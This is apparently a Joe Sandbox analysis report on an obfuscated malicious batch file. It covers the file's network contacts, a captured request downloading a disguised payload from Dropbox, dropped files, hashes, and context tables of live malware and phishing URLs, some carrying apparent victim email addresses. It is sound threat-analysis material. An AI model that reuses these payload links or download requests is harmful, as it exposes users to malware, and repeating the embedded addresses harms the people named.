https://github.com/python-hyper/rfc3986	url.py.17.dr	false		high
https://docs.python.org/3/library/crypto.html	crypto.html.17.dr	false		high
https://datatracker.ietf.org/doc/html/rfc2183.html	email.html.17.dr	false		high
https://docs.djangoproject.com/en/stable/topics/logging/#configuring-logging	logging-cookbook.html.17.dr	false		high
http://%s/not/found.h	test_urllib2net.py.17.dr	false	Avira URL Cloud: safe	unknown
https://asttokens.readthedocs.io/en/latest/user-guide.html	ast.html.17.dr	false	Avira URL Cloud: safe	unknown
https://docs.python.org/3/library/email.html	email.html.17.dr	false		high
https://github.com/python/cpython/tree/3.12/Lib/ast.py	ast.html.17.dr	false		high
https://docs.python.org/3/library/exceptions.html	exceptions.html.17.dr	false		high
https://gitlab.com/admin/	powershell.exe, 0000000F.00000002.1530028772.0000023E01649000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.joelonsoftware.com/2003/10/08/the-absolute-minimum-every-software-developer-absolutely-p	unicode.html.17.dr	false		high
https://gitlab.com/-/speedscope/index.html	powershell.exe, 0000000F.00000002.1530028772.0000023E01649000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/recaptcha/	powershell.exe, 0000000F.00000002.1530028772.0000023E01649000.00000004.00000800.00020000.00000000.sdmp	false		high
http://127.0.0.1/	test_wsgiref.py.17.dr	false	Avira URL Cloud: safe	unknown
http://bugs.python.org/issue20053	__init__.py25.17.dr	false	Avira URL Cloud: safe	unknown
http://idlefork.sourceforge.net	ChangeLog.17.dr	false	Avira URL Cloud: safe	unknown
https://dl-web.dropbox.com/	powershell.exe, 0000000D.00000002.1380394770.0000018753593000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875356F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875358F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://letsencrypt.org/docs/a-warm-welcome-to-asn1-and-der/	asn1.py.17.dr	false		high
https://app.hellofax.com/	powershell.exe, 0000000D.00000002.1380394770.0000018753593000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875356F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875358F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cfl.dropboxstatic.com/static/	powershell.exe, 0000000D.00000002.1380394770.000001875358F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Homebrew/homebrew-core/issues/76621	__init__.py.17.dr	false		high
https://github.com/pallets/click/blob/master/src/click/_winconsole.py	_raw_api.py.17.dr	false		high
https://github.com/python/cpython/blob/main/Doc/library/asyncio-policy.rst	asyncio-policy.html.17.dr	false		high
https://github.com/urllib3/urllib3/pull/3024	ssl_.py.17.dr	false		high
https://tools.ietf.org/html/rfc8017#page-67	pss.cpython-312.pyc.17.dr	false		high
https://tools.ietf.org/html/draft-arciszewski-xchacha-03	ChaCha20.py.17.dr	false		high
http://www.pythontest.net/redir/with_frag/	test_urllib2net.py.17.dr	false	Avira URL Cloud: safe	unknown
http://tix.sourceforge.net.	powershell.exe, 00000011.00000002.2448283371.0000022F8253A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2448283371.0000022F82549000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://docs.python.org/3/library/asyncio-extending.html	asyncio-extending.html.17.dr	false		high
https://nedbatchelder.com/text/unipain.html	unicode.html.17.dr	false	Avira URL Cloud: safe	unknown
https://docs.python.org/3/library/asyncio-api-index.html	asyncio-api-index.html.17.dr	false		high
https://www.hellofax.com/	powershell.exe, 0000000D.00000002.1380394770.0000018753593000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875356F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875358F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.zytrax.com/tech/survival/asn1.html	asn1.py.17.dr	false	Avira URL Cloud: safe	unknown
http://127.0.0.1/sp%E4m	test_wsgiref.py.17.dr	false	Avira URL Cloud: safe	unknown
https://github.com/python/cpython/blob/main/Doc/library/codeop.rst	codeop.html.17.dr	false		high

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
172.65.251.78	gitlab.com	United States		13335	CLOUDFLARENETUS	false
162.125.66.18	www-env.dropbox-dns.com	United States		19679	DROPBOXUS	false

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1557409
Start date and time:	2024-11-18 08:34:11 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 48s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	21
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	18cut04.bat
Detection:	MAL
Classification:	mal84.evad.winBAT@28/1038@4/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 36 Number of non-executed functions: 6
Cookbook Comments:	Found application associated with file extension: .bat

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
172.65.251.78	build_setup.exe	Get hash	malicious	Vidar	Browse	gitlab.com/greg201/ppi3/-/raw/main/Setup.exe?inline=false
162.125.66.18	https://www.dropbox.com/l/scl/AAATBuomd5HmxEQWOFFl7juYr5pumA9OT78	Get hash	malicious	Unknown	Browse
	https://www.dropbox.com/scl/fi/ghbickob35cseupehrevo/A-file-has-been-sent-to-you-via-DROPBOX.pdf?oref=e&r=ACTqvRbsSp0aGfWJ258Mnmig2JSiZYPEXawWQbeoOGqhLQ0A_g08q_6x9uCS3GDD06X2I92wp1DOmKpzocpy-33mPeFHFTHNUnOplz6Tt7UNKnGCY5hdeIU9t4fHEX4CzcseX3o9vxkcg76RpGddDTfgU6DIWzrB6Y3NN3SHwd0oXjHE8-2WVTMkcFhAlN56hFRzwFRs7uWEYIbpWWN2yfXr&sm=1&dl=0	Get hash	malicious	Unknown	Browse
	Metro Plastics Technologies.pdf	Get hash	malicious	Unknown	Browse
	https://t.ly/BavariaFilmGmbH2410	Get hash	malicious	Unknown	Browse
	https://t.ly/ZPR23.10	Get hash	malicious	Unknown	Browse
	https://careers.adobe.com/us/en/apply?jobSeqNo=ADOBUSR147673EXTERNALENUS	Get hash	malicious	Unknown	Browse
	with you.eml	Get hash	malicious	Unknown	Browse
	Re_ Matthew Magro shared _Bonitz .pdf_ with you.eml	Get hash	malicious	HTMLPhisher	Browse
	https://t.ly/N1B0D	Get hash	malicious	Unknown	Browse
	Bernard Vermeiren shared 'Tech Marine Srl 15102024' with you (568Ko).msg	Get hash	malicious	HTMLPhisher	Browse

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
gitlab.com	m2.exe	Get hash	malicious	Xmrig	Browse	172.65.251.78
	SecuriteInfo.com.FileRepMalware.25861.18393.exe	Get hash	malicious	Unknown	Browse	172.65.251.78
	SecuriteInfo.com.FileRepMalware.25861.18393.exe	Get hash	malicious	Unknown	Browse	172.65.251.78
	2plugin27724.exe	Get hash	malicious	Xmrig	Browse	172.65.251.78
	SecuriteInfo.com.Win32.MalwareX-gen.12431.9721.exe	Get hash	malicious	Unknown	Browse	172.65.251.78
	SecuriteInfo.com.Win32.MalwareX-gen.12431.9721.exe	Get hash	malicious	Unknown	Browse	172.65.251.78
	file.exe	Get hash	malicious	Unknown	Browse	172.65.251.78
	file.exe	Get hash	malicious	Unknown	Browse	172.65.251.78
	Doc1.docm	Get hash	malicious	Python Stealer	Browse	172.65.251.78
	check.bat	Get hash	malicious	Python Stealer	Browse	172.65.251.78
ipinfo.io	https://ow.ly/ok9750U8Nry#jeanette.marais@mmltd.co.za	Get hash	malicious	Outlook Phishing, HTMLPhisher	Browse	34.117.59.81
	704b67b5-6bc9-dbd5-0710-60eb98e03983.eml	Get hash	malicious	Unknown	Browse	34.117.59.81
	OBS-Studio-30.2.3-Windows-Installer.exe	Get hash	malicious	Unknown	Browse	34.117.59.81
	https://www.bing.com/ck/a?!&&p=35f7ac11749086c457664a8010a84bc638d369283c719578d3701e6e769d80e3JmltdHM9MTczMDg1MTIwMA&ptn=3&ver=2&hsh=4&fclid=33680f6e-3a94-6c3f-27a6-1a423bb96ddc&psq=site%3Ahttps%3A%2F%2FChiefOfStaff.site&u=a1aHR0cHM6Ly93d3cuY2hpZWZvZnN0YWZmLnNpdGUvd2hhdC1hcmUtdGhlLWtleS1wcmluY2lwbGVzLW9mLW9wZXJhdGlvbnMtbWFuYWdlbWVudA#taehwan.lee@hdel.co.kr	Get hash	malicious	Outlook Phishing, HTMLPhisher	Browse	34.117.59.81
	https://www.google.com/url?q=jODz3y3HOSozuuQiApLh&rct=5CHARyytTPSJ3J3wDcT&sa=t&esrc=rqjkphmdlmFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ6CHARlDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2Ftao.bb/RTupG#dGFla3l1LmtpbUBoeXVuZGFpZWxldmF0b3IuY29t	Get hash	malicious	HTMLPhisher	Browse	34.117.59.81
	Sara.exe.bin.exe	Get hash	malicious	Unknown	Browse	34.117.59.81
	Sara.exe.bin.exe	Get hash	malicious	Unknown	Browse	34.117.59.81
	https://www.google.co.th/url?q=jODz3y3HOSozuuQiApLh&rct=5CHARyytTPSJ3J3wDcT&sa=t&esrc=xqrhyulnFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ6CHARlDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2Ftao.bb/9lotF#c2ouY2hvaTFAaGRlbC5jby5rcg==	Get hash	malicious	Unknown	Browse	34.117.59.81
	List Furniture.bat	Get hash	malicious	Python Stealer, Braodo	Browse	34.117.59.81
	BB.bat	Get hash	malicious	Braodo	Browse	34.117.59.81
edge-block-www-env.dropbox-dns.com	protected.ps1	Get hash	malicious	Unknown	Browse	162.125.65.15
	https://dl.dropboxusercontent.com/scl/fi/95is2w1ywjvorzayt88dp/DKM-0192PDF.zip?rlkey=svoej4s4tb5lwbnvthtgrmokl&st=d99zdn1k&dl=0	Get hash	malicious	Abobus Obfuscator	Browse	162.125.66.15
	https://dl.dropboxusercontent.com/scl/fi/kzw07ghqs05mfyhu8o3ey/BestellungVRG020002.zip?rlkey=27cmmjv86s5ygdnss2oa80i1o&st=86cnbbyp&dl=0	Get hash	malicious	Unknown	Browse	162.125.66.15
	https://t.ly/BavariaFilmGmbH2410	Get hash	malicious	Unknown	Browse	162.125.66.15
	https://t.ly/ZPR23.10	Get hash	malicious	Unknown	Browse	162.125.66.15
	https://mariculturasalinas.com/za/zap/enter.php	Get hash	malicious	Unknown	Browse	162.125.66.15
	https://doc.triadexport.in/sen43906919549ed0e54ebff83709ab950143906919549ed0e54ebff83709ab950143906919549ed0e54ebff83709ab950143906919549ed0e54ebff83709ab9/?top=pucom@hdel.co.kr	Get hash	malicious	HTMLPhisher	Browse	162.125.66.15
	Rechnung0192839182.pdf	Get hash	malicious	Unknown	Browse	162.125.66.15
	https://www.dropbox.com/scl/fi/qo6796ed7hlrt0v8k9nr6/Patagonia-Health-Barcode-Scanner-Setup-2024.exe?rlkey=5bmndvx8124ztopqewiogbnlt&st=yvxpokhf&dl=0	Get hash	malicious	Unknown	Browse	162.125.66.15
	https://comedy.netflix.kidsuper.tv/	Get hash	malicious	Unknown	Browse	162.125.66.15

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	https://www.google.es/url?q=queryri4m(spellCorrectionEnabled%3Atrue%2CrecentSearchParam%3A(id%3A3891228890%2CdoLogHistory%3Atrue)%2Cfilters%3AList((type%3AREGION%2Cvalues%3AList((id%3A103644278%2Ctext%3AUnited%2520States%2CselectionType%3AINCLUDED))))%2Ckeywords%3Aremote)&sessionId=5NTcRf4wT3OOZdAOuNu6%2FQ%3D%3Dquery(spellCorrectionEnabled%3Atrue%2CrecentSearchParam%3A(id%3A3891228890%2CdoLogHistory%3Atrue)%2Cfilters%3AList((type%3AREGION%2Cvalues%3AList((id%3A103644278%2Ctext%3AUnited%2520States%2CselectionType%3AINCLUDED))))%2Ckeywords%3Aremote)&sessionId=5NTcRf4wT3OOZdAOuNu6%2FQ%3D%3Dquery(spellCorrectionEnabled%3Atrue%2CrecentSearchParam%3A(id%3A3891228890%2CdoLogHistory%3Atrue)%2Cfilters%3AList((type%3AREGION%2Cvalues%3AList((id%3A103644278%2Ctext%3AUnited%2520States%2CselectionType%3AINCLUDED))))%2Ckeywords%3Aremote)&sessionId=5NTcRf4wT3OOZdAOuNu6%2FQ%3D%3Dquery(spellCorrectionEnabled%3Atrue%2CrecentSearchParam%3A(id%3A3891228890%2CdoLogHistory%3Atrue)%2Cfilters%3AList((type%3AREGION%2Cvalues%3AList((id%3A103644278%2Ctext%3AUnited%2520States%2CselectionType%3AINCLUDED))))%2Ckeywords%3Aremote)&sessionId=5NTcRf4wT3OOZdAOuNu6%2FQ%3D%3D&sa=t&url=amp%2fmediamei.com.br%2fdada%2funcz66ahtgqg1jqqmvsnfzkcw2oylxhqc48ee/YW5pbWFsaWFAYW5pbWFsaWEubm8=$?	Get hash	malicious	Unknown	Browse	104.17.25.14
	INV-#000497053.doc	Get hash	malicious	Unknown	Browse	104.21.2.83
	DHL_Shipping_Invoices_Awb_BL_000000000111820242247820020031808174Global180030011182024.vbs	Get hash	malicious	GuLoader, Remcos	Browse	188.114.97.3
	XoZ8DeZQxR.exe	Get hash	malicious	Unknown	Browse	104.21.74.130
	5nNxM6CCh5.exe	Get hash	malicious	Unknown	Browse	172.67.203.31
	https://ow.ly/ok9750U8Nry#jeanette.marais@mmltd.co.za	Get hash	malicious	Outlook Phishing, HTMLPhisher	Browse	104.17.25.14
	XoZ8DeZQxR.exe	Get hash	malicious	Unknown	Browse	104.21.74.130
	5nNxM6CCh5.exe	Get hash	malicious	Unknown	Browse	104.21.74.130
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	rBankRemittance_pdf.scr.exe	Get hash	malicious	Remcos, GuLoader	Browse	188.114.96.3
DROPBOXUS	https://www.dropbox.com/l/scl/AABC0x3zULW7L39lSlgXhTBIyuorli3cJh8	Get hash	malicious	Unknown	Browse	162.125.1.20
	protected.ps1	Get hash	malicious	Unknown	Browse	162.125.65.18
	meerkat.spc.elf	Get hash	malicious	Mirai	Browse	162.125.189.88
	https://t.ly/Oppenheim0511	Get hash	malicious	GO Backdoor	Browse	162.125.67.15
	FW Reminder Steve Daugherty shared ALAMO1 _ AGREEMENT.paper with you.msg	Get hash	malicious	Unknown	Browse	162.125.70.18
	Metro Plastics Technologies.pdf	Get hash	malicious	Unknown	Browse	162.125.1.20
	https://www.dropbox.com/l/scl/AAATBuomd5HmxEQWOFFl7juYr5pumA9OT78	Get hash	malicious	Unknown	Browse	162.125.21.1
	https://www.dropbox.com/l/scl/AAATBuomd5HmxEQWOFFl7juYr5pumA9OT78	Get hash	malicious	Unknown	Browse	162.125.66.18
	https://www.dropbox.com/l/scl/AAATBuomd5HmxEQWOFFl7juYr5pumA9OT78	Get hash	malicious	Unknown	Browse	162.125.40.3
	https://www.dropbox.com/scl/fi/ghbickob35cseupehrevo/A-file-has-been-sent-to-you-via-DROPBOX.pdf?oref=e&r=ACTqvRbsSp0aGfWJ258Mnmig2JSiZYPEXawWQbeoOGqhLQ0A_g08q_6x9uCS3GDD06X2I92wp1DOmKpzocpy-33mPeFHFTHNUnOplz6Tt7UNKnGCY5hdeIU9t4fHEX4CzcseX3o9vxkcg76RpGddDTfgU6DIWzrB6Y3NN3SHwd0oXjHE8-2WVTMkcFhAlN56hFRzwFRs7uWEYIbpWWN2yfXr&sm=1&dl=0	Get hash	malicious	Unknown	Browse	162.125.66.18

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	Factura modificada____678979879.exe	Get hash	malicious	DarkCloud	Browse	172.65.251.78 162.125.66.18
	DHL_Shipping_Invoices_Awb_BL_000000000111820242247820020031808174Global180030011182024.vbs	Get hash	malicious	GuLoader, Remcos	Browse	172.65.251.78 162.125.66.18
	XoZ8DeZQxR.exe	Get hash	malicious	Unknown	Browse	172.65.251.78 162.125.66.18
	5nNxM6CCh5.exe	Get hash	malicious	Unknown	Browse	172.65.251.78 162.125.66.18
	Order88983273293729387293828PDF.exe	Get hash	malicious	Quasar	Browse	172.65.251.78 162.125.66.18
	XoZ8DeZQxR.exe	Get hash	malicious	Unknown	Browse	172.65.251.78 162.125.66.18
	5nNxM6CCh5.exe	Get hash	malicious	Unknown	Browse	172.65.251.78 162.125.66.18
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.65.251.78 162.125.66.18
	file.exe	Get hash	malicious	LummaC	Browse	172.65.251.78 162.125.66.18
	file.exe	Get hash	malicious	Unknown	Browse	172.65.251.78 162.125.66.18

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\Public\Document\Lib\email\_encoded_words.py	https://t.ly/-kxCO	Get hash	malicious	Braodo	Browse
	new.bat	Get hash	malicious	Unknown	Browse
	x.bat	Get hash	malicious	Unknown	Browse
	https://t.ly/SjDNX	Get hash	malicious	Python Stealer, Braodo	Browse
	new.bat	Get hash	malicious	Unknown	Browse
	https://t.ly/D5x5U	Get hash	malicious	Braodo	Browse
	BB.bat	Get hash	malicious	Braodo	Browse
	AutoRun.bat	Get hash	malicious	Braodo	Browse
	leo.bat	Get hash	malicious	Braodo	Browse
	cat.bat	Get hash	malicious	Braodo	Browse

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	68971076
Entropy (8bit):	7.994095560355391
Encrypted:	true
SSDEEP:	1572864:T20csalWaQNbExc9vRC6Ny/sWB5rsLfIxrsRf:6galmJrnUnB5rsLfIruf
MD5:	1D97414326053DE55BBD1BEA666BD145
SHA1:	9F3D2FBAE467F23372E4D3B9EB7DF4414912BEE5
SHA-256:	D5262F870BD730E178F3431205C15D43F3C2ACBD0546B5D8788DDEC53B8B14D1
SHA-512:	16E56694A03DE005C21C3A3DC3B71C85612CD8D1D761BB6E7384ADB51960726DA6D5038149CEFDB825D3083CDA54DA1E82D73557B92D6D029F70AB45A431B1BA
Malicious:	true
Preview:	PK........\.FX....G'..........LICENSE.txt.\]s..}G...J/....L2.Im...m.-y))..KI...Eh.........Yv..W.U.D..F..}N.t/.W.x2.?....\.\|<..\|.......<v.+V..D.y..B,..x..\$y.....O5...e)...'.....'...r.dv....B....EV.p.Q.S.s-._..F....v...[.d..g(.=O.l.=.j$\...Z.\-.+.tW&w..4..z...[}r.Sf..a....\fs.IR..p-.y...........Bh.N...+.S..B....+TF.h.(...mWx..JP`%5........8...7OP._..cC....B.A.6Q&..W.A...0>d.,.A.t...>.J}.10VLW\|.Q.w2.....R..R.h.L.{.Co.iLj.zyL.e.Mr..v........X.ot.+...a..a2y!.5_.{.P.;....9..P8.5.6....d...L..8..j&r.......M\|......,`H}.N.......31'..R...Mw0.nS2.[...Uf.3EG...2....P.@.w.7z...V..R,..x...M...NpK...H......1.K...!.........e..g..%..6.!...x8..5+b..W..w\|-..3..hJ{ij.p.9...c..\|..Q...L.u..q.b.n0.K...c0.....\|..].......%.....U...{.?i.s.R/o.O.c60.Y>..E....Tma..I....r._T....@9.bs...@...._......6...vnZ.h...U.....{..9....0.......CG....\|.0X]......k...7%`;l...C.8..].3'.^....^.L..g..^.ZV.mc.Wm...x..=................(.t_...t....'.Y..y..A.6~.......(8'3...{.dj{

Process:	C:\Windows\System32\cmd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	14
Entropy (8bit):	3.521640636343319
Encrypted:	false
SSDEEP:	3:Mrv:gv
MD5:	CE585C6BA32AC17652D2345118536F9C
SHA1:	BE0E41B3690C42E4C0CDB53D53FC544FB46B758D
SHA-256:	589C942E748EA16DC86923C4391092707CE22315EB01CB85B0988C6762AA0ED3
SHA-512:	D397EDA475D6853CE5CC28887690DDD5F8891BE43767CDB666396580687F901FB6F0CC572AFA18BDE1468A77E8397812009C954F386C8F69CC0678E1253D5752
Malicious:	false
Preview:	ECHO is off...

Process:	C:\Windows\System32\find.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	36
Entropy (8bit):	3.8956388075276664
Encrypted:	false
SSDEEP:	3:gOmAe9qQn:xm/
MD5:	89D484A82D15549C8F4BF2B4D4F1E924
SHA1:	58F49E997A58A17C2902E08026BAC2DD16A34B1B
SHA-256:	040AE1183CD6102AC612B2D88C2816B358FDC4743BC9CD05376E797595167B40
SHA-512:	C0C920A9369FF9E28C9DAE6CA21AE7A1F9A79F2F4F8F97E247D133700FC446CEAA2C6C40116DE644CEA9336D9064792F3AD7011EBCBF5B6675779C57590F167B
Malicious:	false
Preview:	FIND: Parameter format not correct..

File type:	Unicode text, UTF-16, little-endian text, with very long lines (16554), with no line terminators
Entropy (8bit):	5.649567705520657
TrID:	Text - UTF-16 (LE) encoded (2002/1) 66.67% MP3 audio (1001/1) 33.33%
File name:	18cut04.bat
File size:	33'111 bytes
MD5:	063a08da4bdeef6cc43e5041f5db4ee5
SHA1:	469e79f961d6a5b205247b0cd3fbb72e0b8a4728
SHA256:	bdaa1a95ab24bc377cf918933934d852e74835d710fde085ec51c62e65311ea0
SHA512:	4fcf06d9d0242fe70b1cb9e5c499c9f128222adb84f2514df44c39e13ef87c6547c4d87f049277170929fa38a1ea7c1f4cbf18ab68844a5698a6cb3d868ead1b
SSDEEP:	192:eQy+Aup9iqpmtvDBL+BK7u/8giXTPLLt4w2431Va:eQ3EqpWvNLaKS/8Bj6+y
TLSH:	EBE243106A4FB5FF3244D318A1873AF634C598FD63FF64268D38BE5B4FB42269845A21
File Content Preview:	....>nul 2>&1 &cls.;@@ec%...^...............%%.........^.........%h%...^...............%^o of^%......^............%%..................^%f&f%.........^.........%^%...........^......%or /l %%i iN (1 1 1)Do (f%.........^.........%^%...........^......%or /l %

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 18, 2024 08:35:18.170515060 CET	192.168.2.7	1.1.1.1	0xec9e	Standard query (0)	www.dropbox.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:35:19.982099056 CET	192.168.2.7	1.1.1.1	0xe487	Standard query (0)	ucec8a788f965b69a40d3f9f21b4.dl.dropboxusercontent.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:35:25.555139065 CET	192.168.2.7	1.1.1.1	0x190f	Standard query (0)	gitlab.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:37:20.718367100 CET	192.168.2.7	1.1.1.1	0xe556	Standard query (0)	ipinfo.io	A (IP address)	IN (0x0001)	false

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 18cut04.bat

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Initial Sample

Memory Dumps

Other

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

Cryptography

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\Public\Document.zip

C:\Users\Public\Document\Doc\html\howto\cporting.html

C:\Users\Public\Document\Doc\html\howto\curses.html

C:\Users\Public\Document\Doc\html\howto\descriptor.html

C:\Users\Public\Document\Doc\html\howto\enum.html

C:\Users\Public\Document\Doc\html\howto\functional.html

C:\Users\Public\Document\Doc\html\howto\index.html

C:\Users\Public\Document\Doc\html\howto\instrumentation.html

C:\Users\Public\Document\Doc\html\howto\ipaddress.html

C:\Users\Public\Document\Doc\html\howto\isolating-extensions.html

C:\Users\Public\Document\Doc\html\howto\logging-cookbook.html

C:\Users\Public\Document\Doc\html\howto\logging.html

C:\Users\Public\Document\Doc\html\howto\perf_profiling.html

C:\Users\Public\Document\Doc\html\howto\pyporting.html

C:\Users\Public\Document\Doc\html\howto\regex.html

C:\Users\Public\Document\Doc\html\howto\sockets.html

C:\Users\Public\Document\Doc\html\howto\sorting.html

C:\Users\Public\Document\Doc\html\howto\unicode.html

C:\Users\Public\Document\Doc\html\howto\urllib2.html

C:\Users\Public\Document\Doc\html\index.html

Windows Analysis Report
18cut04.bat

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 18, 2024 08:35:18.182621002 CET	1.1.1.1	192.168.2.7	0xec9e	No error (0)	www.dropbox.com	www-env.dropbox-dns.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 08:35:18.182621002 CET	1.1.1.1	192.168.2.7	0xec9e	No error (0)	www-env.dropbox-dns.com		162.125.66.18	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:35:20.002048969 CET	1.1.1.1	192.168.2.7	0xe487	No error (0)	ucec8a788f965b69a40d3f9f21b4.dl.dropboxusercontent.com	edge-block-www-env.dropbox-dns.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 08:35:20.002048969 CET	1.1.1.1	192.168.2.7	0xe487	No error (0)	edge-block-www-env.dropbox-dns.com		162.125.66.15	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:35:25.562115908 CET	1.1.1.1	192.168.2.7	0x190f	No error (0)	gitlab.com		172.65.251.78	A (IP address)	IN (0x0001)	false
Nov 18, 2024 08:37:20.725759029 CET	1.1.1.1	192.168.2.7	0xe556	No error (0)	ipinfo.io		34.117.59.81	A (IP address)	IN (0x0001)	false

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:35:19 UTC	189	OUT	GET /scl/fi/2xk4dviogo9yr2ose1z39/17_Advertising_Campaign_and_Collaboration.docx?rlkey=4wos6vvfhgosyi024mdevofd9&st=9zhl6gij&dl=1 HTTP/1.1 Host: www.dropbox.com Connection: Keep-Alive
2024-11-18 07:35:19 UTC	4091	IN	HTTP/1.1 302 Found Content-Security-Policy: connect-src https://* ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: ; font-src https:// data: ; frame-ancestors 'self' https://.dropbox.com ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; media-src https:// blob: ; report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; frame-src https://* carousel: dbapi-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: ; script-src 'unsafe-eval' 'inline-speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/* https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://w [TRUNCATED] Content-Type: text/html; charset=utf-8 Location: https://ucec8a788f965b69a40d3f9f21b4.dl.dropboxusercontent.com/cd/0/get/Cent9kswzwEN9hr7y-nSe5_7Gb6sPlLORL4clYfTalUkbSnpNuH6g0b2lWpn62eApcYjC-nmlcx0jPxwGPL15COpfW1dUOHZ6Oywhyedmu5zs2951Fv2Vh_UNi-qeZ9Vqbz-o3UObav-iF87IOG9rk4N/file?dl=1# Pragma: no-cache Referrer-Policy: strict-origin-when-cross-origin Set-Cookie: gvc=MzIwMTU5NzQyMjUzNDY2OTEwOTI0MDgyMDgyNTUxNjc0OTEzMjMx; Path=/; Expires=Sat, 17 Nov 2029 07:35:19 GMT; HttpOnly; Secure; SameSite=None Set-Cookie: t=Y8rx2sEi8YDu7RqGiFvgYoWp; Path=/; Domain=dropbox.com; Expires=Tue, 18 Nov 2025 07:35:19 GMT; HttpOnly; Secure; SameSite=None Set-Cookie: __Host-js_csrf=Y8rx2sEi8YDu7RqGiFvgYoWp; Path=/; Expires=Tue, 18 Nov 2025 07:35:19 GMT; Secure; SameSite=None Set-Cookie: __Host-ss=m1wnvt_jdU; Path=/; Expires=Tue, 18 Nov 2025 07:35:19 GMT; HttpOnly; Secure; SameSite=Strict Set-Cookie: locale=en; Path=/; Domain=dropbox.com; Expires=Sat, 17 Nov 2029 07:35:19 GMT X-Content-Type-Options: nosniff X-Permitted-Cross-Domain-Policies: none X-Robots-Tag: noindex, nofollow, noimageindex X-Xss-Protection: 1; mode=block Content-Length: 17 Date: Mon, 18 Nov 2024 07:35:19 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains Server: envoy Cache-Control: no-cache, no-store 